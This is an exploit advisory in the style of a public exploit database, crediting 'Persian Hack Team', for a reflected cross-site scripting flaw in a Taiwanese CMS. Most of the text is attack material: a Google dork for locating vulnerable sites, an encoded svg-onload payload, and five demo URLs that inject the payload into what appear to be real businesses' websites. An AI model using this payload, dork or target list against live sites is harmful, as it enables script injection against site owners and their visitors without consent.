######################
# Exploit Title : Virtualhost CMS Cross Site Scripting
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://www.virtualhost.com.tw/
# Google Dork : "Design by virtualhost"
# Date: 2016/03/11
######################
#
# Payload = ">Persian<svg%2Fonload%3Dconfirm(%2FMobhaM%2F)>Hack Team
# Demo :
#
# http://www.element-acoustics.ca/products.php?cid=18&sid=68%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team
# http://www.life-flower.com.tw/product.php?cid=2%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team
# http://www.i-look.tw/start.php?cid=10%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team
# http://www.chanrui.com.tw/product.php?cid=1&sid=1%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team
# http://www.tehyuh.com.tw/product.php?cid=1&sid=1%22%3EPersian%3Csvg%2Fonload%3Dconfirm%28%2FMobhaM%2F%29%3EHack%20Team
#
######################
# Discovered by :
# Mojtaba MobhaM (kazemimojtaba@live.com)
# T3NZOG4N (t3nz0g4n@yahoo.com)
# Homepage : persian-team.ir
######################